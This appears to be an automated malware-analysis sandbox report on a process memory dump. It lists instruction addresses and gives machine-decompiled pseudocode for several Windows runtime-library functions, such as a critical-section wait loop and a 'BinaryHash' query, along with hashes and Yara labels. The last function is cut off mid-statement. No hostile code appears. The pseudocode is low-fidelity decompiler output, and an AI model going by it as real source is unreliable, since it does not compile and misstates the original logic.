0x00a025e1
0x00a025e3
0x00a025e9
0x00a026da
0x00a026da
0x00a026dd
0x00a026e2
0x00a45b56
0x00000000
0x00a026e8
0x00a026f9
0x00a026fb
0x00a026fe
0x00a02700
0x00a45b60
0x00000000
0x00a02706
0x00a02706
0x00a0270a
0x00a0270a
0x00a0270d
0x00a02713
0x00a02716
0x00a02718
0x00a0271c
0x00a0271e
0x00a45b6c
0x00a45b6f
0x00a45b7f
0x00a45b89
0x00a45b8e
0x00a45b93
0x00a45b96
0x00a45b9c
0x00a45ba0
0x00a45ba3
0x00a45bab
0x00a45bb0
0x00a45bb3
0x00a45bb3
0x00a45ba3
0x00a02724
0x00a02726
0x00a02729
0x00a0272c
0x00a0279d
0x00a0279d
0x00a027a0
0x00a027a2
0x00000000
0x00a0272e
0x00a0272e
0x00a02731
0x00a02734
0x00a02734
0x00a02736
0x00a45bc1
0x00a45bc1
0x00a45bc4
0x00000000
0x00a45bca
0x00a45bca
0x00a45bcd
0x00000000
0x00a45bd3
0x00000000
0x00a45bd3
0x00a45bcd
0x00a0273c
0x00a0273c
0x00a02742
0x00a02747
0x00a0274a
0x00a0274d
0x00a02750
0x00000000
0x00a02756
0x00a02756
0x00000000
0x00a02902
0x00a02908
0x00a0290b
0x00000000
0x00a02911
0x00a0291c
0x00a02921
0x00000000
0x00a02921
0x00000000
0x00000000
0x00a02880
0x00a02887
0x00a0288c
0x00000000
0x00000000
0x00a02805
0x00a0280a
0x00a02814
0x00a02816
0x00000000
0x00000000
0x00a0281e
0x00a02821
0x00a02823
0x00000000
0x00a02829
0x00a02829
0x00a02831
0x00a0283c
0x00a0283e
0x00000000
0x00a0283e
0x00000000
0x00000000
0x00a0284e
0x00a02850
0x00a02851
0x00a02854
0x00a02857
0x00a0285a
0x00a0285c
0x00a0285d
0x00000000
0x00000000
0x00a0275d
0x00a02761
0x00000000
0x00a02767
0x00a0276e
0x00a02773
0x00a02773
0x00a02776
0x00a02778
0x00a0277e
0x00a0277e
0x00a02781
0x00a02781
0x00a02783
0x00a02784
0x00000000
0x00000000
0x00a45bd8
0x00a45bde
0x00a45be4
0x00a45be6
0x00a45be8
0x00a45be9
0x00a45bee
0x00a45bf8
0x00a45bff
0x00a45c01
0x00a45c04
0x00a45c07
0x00a45c0b
0x00a45c0d
0x00a45c0d
0x00a45c15
0x00a45c18
0x00a45c1b
0x00a45c1b
0x00a45c1e
0x00000000
0x00000000
0x00a028c3
0x00a028c8
0x00a028d2
0x00a028d4
0x00a028d8
0x00a028db
0x00a45c26
0x00a45c28
0x00a45c2d
0x00a45c2d
0x00000000
0x00000000
0x00a45c34
0x00a45c36
0x00a45c49
0x00a45c4e
0x00a45c54
0x00a45c5b
0x00a45c5d
0x00a45c60
0x00a02788
0x00a02788
0x00a0278b
0x00a0278e
0x00a0278e
0x00a0278e
0x00a02791
0x00000000
0x00000000
0x00a02756
0x00a02750
0x00000000
0x00a02794
0x00a02794
0x00a02795
0x00a02798
0x00a02798
0x00000000
0x00a02734
0x00a0272c
0x00a02700
0x00a025ef
0x00a025ef
0x00a025ef
0x00a025f2
0x00a025f8
0x00000000
0x00000000
0x00a025fe
0x00000000
0x00a028e6
0x00a028ec
0x00a028ef
0x00a028f5
0x00a028f8
0x00a028f8
0x00000000
0x00a028f8
0x00000000
0x00000000
0x00a02866
0x00a02866
0x00a02876
0x00a02879
0x00000000
0x00000000
0x00a027e0
0x00a027e7
0x00a027e9
0x00a027eb
0x00a45afd
0x00000000
0x00a45afd
0x00000000
0x00000000
0x00a02633
0x00a02638
0x00a0263b
0x00a0263c
0x00a0263e
0x00a02640
0x00a02642
0x00a02647
0x00a02649
0x00a0264e
0x00a02650
0x00a02653
0x00a02659
0x00a026a2
0x00a026a7
0x00a026ac
0x00a026b2
0x00a45b11
0x00a45b15
0x00a45b17
0x00000000
0x00a026b8
0x00a026b8
0x00a026ba
0x00a027a6
0x00a027a6
0x00a027a9
0x00a027ab
0x00a027b9
0x00a027b9
0x00a027be
0x00a027c1
0x00a027c3
0x00a027c5
0x00a027c7
0x00a45c74
0x00a45c79
0x00a45c79
0x00a027c7
0x00000000
0x00a026c0
0x00a026c0
0x00a026c3
0x00a026c6
0x00a026c6
0x00a026c9
0x00a026c9
0x00000000
0x00a026c9
0x00a026ba
0x00a0265b
0x00a0265b
0x00a0265e
0x00a02667
0x00a0266d
0x00a02677
0x00a0267c
0x00a0267f
0x00a02681
0x00a45b49
0x00a45b4e
0x00a027cd
0x00a027d0
0x00a027d1
0x00a027d2
0x00a027d4
0x00a027dd
0x00a02687
0x00a02687
0x00a0268a
0x00a0268b
0x00a0268e
0x00a0268f
0x00a02691
0x00a02696
0x00a02698
0x00a0269d
0x00a0269f
0x00000000
0x00a0269f
0x00a02681
0x00000000
0x00000000
0x00a02846
0x00000000
0x00000000
0x00a02605
0x00a0260a
0x00a0260c
0x00a02611
0x00a02616
0x00a02619
0x00a02619
0x00a0261e
0x00000000
0x00a02624
0x00a02627
0x00a02627
0x00000000
0x00000000
0x00a45b1f
0x00000000
0x00000000
0x00a02894
0x00a0289b
0x00a0289d
0x00a028a1
0x00a45b2b
0x00a45b2e
0x00a45b2e
0x00a028a7
0x00a028a9
0x00a45b04
0x00a45b09
0x00a45b09
0x00a45b09
0x00000000
0x00000000
0x00a45b35
0x00a45b3c
0x00a028fb
0x00a028fb
0x00a026cc
0x00a026cc
0x00a026d0
0x00000000
0x00a026d2
0x00a026d2
0x00000000
0x00a026d2
0x00000000
0x00000000
0x00a025fe
0x00a0292d
0x00a0292f
0x00a02930
0x00a02935
0x00a0293e
0x00a02944
0x00a02947
0x00a0294c
0x00a0294e
0x00a0294f
0x00a02950
0x00a02957
0x00a02958
0x00a0295a
0x00a02962
0x00a02968
0x00a02972
0x00a02973
0x00a02974
0x00a0297b
0x00a0297e
0x00a0297f
0x00a02980
0x00a02981
0x00a02982
0x00a02983
0x00a02984
0x00a02985
0x00a02986
0x00a02987
0x00a02988
0x00a02989
0x00a0298a
0x00a0298b
0x00a0298c
0x00a0298d
0x00a0298e
0x00a0298f
0x00a02990
0x00a02992
0x00a02997
0x00a029a3
0x00a029a6
0x00a029ab
0x00a029ad
0x00a029b0
0x00a029b2
0x00a45c80
0x00a029b8
0x00a029b8
0x00a029bb
0x00a029c0
0x00a029c5
0x00a029c6
0x00a029c6
0x00a029c9
0x00a029cb
0x00000000
0x00000000
0x00a029cd
0x00a029d0
0x00a029d9
0x00a029db
0x00a029dd
0x00a02a7f
0x00a02a84
0x00a02a87
0x00a02a89
0x00a45ca1
0x00a45ca3
0x00000000
0x00a02a8f
0x00a02a8f
0x00000000
0x00a02a8f
0x00000000
0x00a029e3
0x00a029e3
0x00a029e3
0x00000000
0x00a029e3
0x00a029dd
0x00000000
0x00a029db
0x00a029e6
0x00a029e9
0x00a029eb
0x00a029ed
0x00a029f3
0x00a029f5
0x00a029f8
0x00a029fa
0x00a02a97
0x00a02a9a
0x00a02a9d
0x00a02add
0x00000000
0x00a02a9f
0x00a02aa2
0x00a02aa5
0x00a02aa8
0x00a02aab
0x00a45cab
0x00a45caf
0x00a45cc5
0x00a45cda
0x00a45cdc
0x00a45cdf
0x00a45ce5
0x00000000
0x00a45ceb
0x00a45ced
0x00a45cee
0x00000000
0x00a45cee
0x00a45cb1
0x00a45cb4
0x00a45cb9
0x00a45cbb
0x00000000
0x00a45cbd
0x00a45cbd
0x00000000
0x00a45cbd
0x00a45cbb
0x00a02ab1
0x00a02ab1
0x00a02ac4
0x00a02ac6
0x00a02ac6
0x00000000
0x00a02ac6
0x00a02aab
0x00000000
0x00a02a00
0x00a02a09
0x00a02a0e
0x00a02a21
0x00a02a24
0x00a02a35
0x00a02a3a
0x00a02a3d
0x00a02a42
0x00a02a59
0x00a02a59
0x00a02a5c
0x00a02a5f
0x00a02a5f
0x00a029fa
0x00a029f3
0x00a02a64
0x00a02a64
0x00a02a6b
0x00a02a6b
0x00a02a6d
0x00a02a72
0x00a02a72
0x00000000

Strings

PATH, xrefs: 00A02642, 00A02691

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: 460df2b84e67f9f37b348fafbb3a766b76f403960d8a91c85bd8bae683904fe5
Instruction ID: 8aed2275116a314e8dc5204eb37f1456f738129a75fd631b68144ab8c4dce9e5
Opcode Fuzzy Hash: 460df2b84e67f9f37b348fafbb3a766b76f403960d8a91c85bd8bae683904fe5
Instruction Fuzzy Hash: 75C19F75E003199FCB25DFA8E985BBDB7B5FF88700F194029E411AB291E734AD42CB60

Uniqueness

Uniqueness Score: -1.00%

Function 009D2D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E009D2D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0xac5350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0xac7bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E00A197C0();
				}
				if( *0xac79c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0xac79c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E00A01624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E009F7D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E00A6FE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E00A19520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E00A0E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L00A2DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0xac6901;
								_push(_t109);
								_v52 = _t98;
								if( *0xac6901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E00A19980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E00A195D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E009F7D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E009F7D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E00A57016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E00A6FDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0xac5350;
							if(_t109 != 0xac5350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E00A6FFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E00A65720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x009d2d8a
0x009d2d8a
0x009d2d92
0x009d2d96
0x009d2d9e
0x009d2da0
0x009d2da3
0x009d2da5
0x009d2da8
0x009d2dab
0x009d2db2
0x00a2f9aa
0x00a2f9ab
0x00a2f9ae
0x00a2f9ae
0x009d2db8
0x009d2dc2
0x00a2f9b9
0x00a2f9be
0x00a2f9bf
0x00a2f9bf
0x009d2dcf
0x00a2f9c9
0x009d2dd5
0x009d2dd5
0x009d2dd5
0x009d2dde
0x009d2de1
0x009d2e70
0x009d2e72
0x009d2e72
0x009d2de7
0x009d2deb
0x009d2e7c
0x009d2e83
0x009d2e85
0x009d2e8b
0x009d2e8d
0x009d2e92
0x009d2e92
0x009d2e85
0x009d2df1
0x009d2df7
0x009d2df9
0x009d2df9
0x009d2dfc
0x009d2dff
0x009d2e02
0x00000000
0x009d2e05
0x009d2e0c
0x00a2f9d9
0x009d2e12
0x009d2e12
0x009d2e12
0x009d2e1a
0x00a2f9e3
0x00a2f9e9
0x00a2f9f0
0x00a2f9f6
0x00a2f9f8
0x00a2f9f8
0x00a2f9f0
0x009d2e23
0x00a2fa02
0x00a2fa03
0x00a2fa05
0x00a2fa06
0x00000000
0x009d2e29
0x009d2e29
0x009d2e2e
0x009d2e34
0x009d2e3e
0x00000000
0x00000000
0x009d2e44
0x009d2e47
0x009d2e4d
0x00000000
0x00000000
0x009d2e4f
0x009d2e54
0x00000000
0x00000000
0x009d2e5a
0x009d2e5f
0x009d2e9a
0x009d2ea4
0x009d2ea5
0x009d2ea8
0x009d2eaf
0x009d2eb2
0x009d2eb5
0x00a2fae9
0x00a2faeb
0x00a2faed
0x00a2faef
0x00a2faf7
0x00a2faf8
0x00a2fafd
0x00a2faff
0x00a2fb04
0x00a2fb04
0x00a2faff
0x009d2ec0
0x009d2ec4
0x009d2ec6
0x009d2ec8
0x00a2fb14
0x00a2fb18
0x00a2fb1e
0x00a2fb21
0x00a2fb21
0x009d2ece
0x009d2ece
0x009d2ece
0x009d2ed7
0x009d2e61
0x009d2e63
0x00a2fa6b
0x00a2fa71
0x00a2fa76
0x00a2fa78
0x00a2fa8a
0x00a2fa7a
0x00a2fa83
0x00a2fa83
0x00a2fa8f
0x00a2fa91
0x00a2fa97
0x00a2fa9d
0x00a2faa4
0x00a2faaa
0x00a2faaf
0x00a2fab1
0x00a2fac3
0x00a2fab3
0x00a2fabc
0x00a2fabc
0x00a2fac8
0x00a2facb
0x00a2fadf
0x00a2fadf
0x00a2facb
0x00a2faa4
0x00a2fa91
0x009d2e6f
0x009d2e6f
0x009d2e5f
0x00a2fa13
0x00a2fa15
0x00a2fa17
0x00a2fa1f
0x00a2fa21
0x00a2fa22
0x00a2fa25
0x00a2fa28
0x00a2fa2f
0x00a2fa2f
0x00a2fa2a
0x00a2fa2a
0x00a2fa2a
0x00a2fa31
0x00a2fa34
0x00a2fa36
0x00a2fa3c
0x00a2fa3e
0x00a2fa41
0x00a2fa43
0x00a2fa45
0x00a2fa45
0x00a2fa41
0x00a2fa3c
0x00a2fa4a
0x00a2fa4f
0x00a2fa51
0x00a2fa53
0x00a2fa56
0x00a2fa5b
0x00a2fa5e
0x00000000
0x00a2fa5e
0x009d2e23

Strings

RTL: Re-Waiting, xrefs: 00A2FA4A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: c043421c61c864f10ca1c1d171c5c8a6d4426d0b982d8b2fd244eec35c30e3c6
Instruction ID: d708a23e627a4fd2f7d091ba5cb627b2d36a5b41bcb5f449fd7c99579ba046ba
Opcode Fuzzy Hash: c043421c61c864f10ca1c1d171c5c8a6d4426d0b982d8b2fd244eec35c30e3c6
Instruction Fuzzy Hash: 7C615330A44654AFDB21DF6CD840B7EB7B5EF54350F248A7AE815A73C1C734AD4087A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AA0EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00AA0EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E00A9FF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E00AA1074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E00A19730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E00A9A80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E00A9A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0xac8b04 >> 0x14) + (_v44 -  *0xac8b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E009F7D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E00A9138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E009F7D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E00A8FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0xac8724 & 0x00000008) != 0) {
						E00A952F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E00AA15B5(0xac8ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x00aa0eb7
0x00aa0eb9
0x00aa0ec0
0x00aa0ec2
0x00aa0ecd
0x00aa105b
0x00aa105b
0x00aa1061
0x00aa1066
0x00aa1066
0x00aa106b
0x00aa1073
0x00aa1073
0x00aa0ed3
0x00aa0ed6
0x00aa0edc
0x00aa0ee0
0x00aa0ee7
0x00aa0ef0
0x00aa0ef5
0x00aa0efa
0x00aa0efc
0x00aa0efd
0x00aa0f03
0x00aa0f04
0x00aa0f06
0x00aa0f07
0x00aa0f09
0x00aa0f0e
0x00aa0f14
0x00aa0f23
0x00aa0f2d
0x00aa0f34
0x00aa0f34
0x00aa0f14
0x00aa0f52
0x00000000
0x00000000
0x00aa0f58
0x00aa0f73
0x00aa0f74
0x00aa0f79
0x00aa0f7d
0x00aa0f80
0x00aa0f86
0x00aa0fab
0x00aa0fb5
0x00aa0fc6
0x00aa0fd1
0x00aa0fe3
0x00aa0fd3
0x00aa0fdc
0x00aa0fdc
0x00aa0feb
0x00aa1009
0x00aa1009
0x00aa1015
0x00aa1027
0x00aa1017
0x00aa1020
0x00aa1020
0x00aa102f
0x00aa103c
0x00aa103c
0x00aa1048
0x00aa1050
0x00aa1050
0x00aa1055
0x00000000
0x00aa1055
0x00aa0f88
0x00aa0f9e
0x00aa0fa2
0x00aa0fa9
0x00000000
0x00000000
0x00000000
0x00aa0fa9
0x00000000

Strings

`, xrefs: 00AA0F16

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: d9bf45f9be18305d5991b135a6ad4b11a41aff2be94bf99883a63d0e548e3d92
Instruction ID: 552ae3a8a5b297db2961fb3e287df5b19641ffd7cb5e4c90128f2bd4d5a5ffda
Opcode Fuzzy Hash: d9bf45f9be18305d5991b135a6ad4b11a41aff2be94bf99883a63d0e548e3d92
Instruction Fuzzy Hash: E251A970208382AFD724DF28D981F2BB7E5EBC5314F044A2CF99697291D770E846CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A0F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00A0F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E009F4120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E00A19830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E00A19990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E00A195D0();
							goto L11;
						} else {
							_t109 = L009F4620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E00A1F3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E00A195D0();
										L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00a0f0d3
0x00a0f0d9
0x00a0f0e0
0x00a0f0e7
0x00a0f0f2
0x00a0f0f4
0x00a0f0f8
0x00a0f100
0x00a0f108
0x00a0f10d
0x00a0f115
0x00a0f116
0x00a0f11f
0x00a0f123
0x00a0f124
0x00a0f12c
0x00a0f130
0x00a0f134
0x00a0f13d
0x00a0f144
0x00a0f14b
0x00a0f152
0x00a4bab0
0x00a4bab0
0x00a0f158
0x00a0f158
0x00a0f15a
0x00a0f160
0x00a0f165
0x00a0f166
0x00a0f16f
0x00a0f173
0x00a4baa7
0x00a4baa7
0x00a4baab
0x00000000
0x00a0f179
0x00a0f18d
0x00a0f191
0x00a4baa2
0x00000000
0x00a0f197
0x00a0f19b
0x00a0f1a2
0x00a0f1a9
0x00a0f1af
0x00a0f1b2
0x00a0f1b6
0x00a0f1b9
0x00a0f1c4
0x00a0f1d8
0x00a0f1df
0x00a0f1e3
0x00a0f1eb
0x00a0f1ee
0x00a0f1f4
0x00a0f20f
0x00a4bab7
0x00a4babb
0x00a4bacc
0x00a4bad1
0x00a0f215
0x00a0f218
0x00a0f226
0x00a0f22b
0x00000000
0x00a0f22b
0x00a0f1f6
0x00a0f1f6
0x00a0f1f9
0x00a0f1fb
0x00a0f1fb
0x00a0f1f4
0x00a0f191
0x00a0f173
0x00a0f152
0x00a0f203

Strings

@, xrefs: 00A0F124

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 19016fa18d02e190678414dda827a307f9f6dd59b6bf66093c810bd3159a76b8
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 3351BF712047149FC320DF28C841A6BB7F8FF88750F008A2DFA9597691E7B4E954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A53540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00A53540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0xacd360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E00A10BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E00A53706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E00A1FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E00A53540;
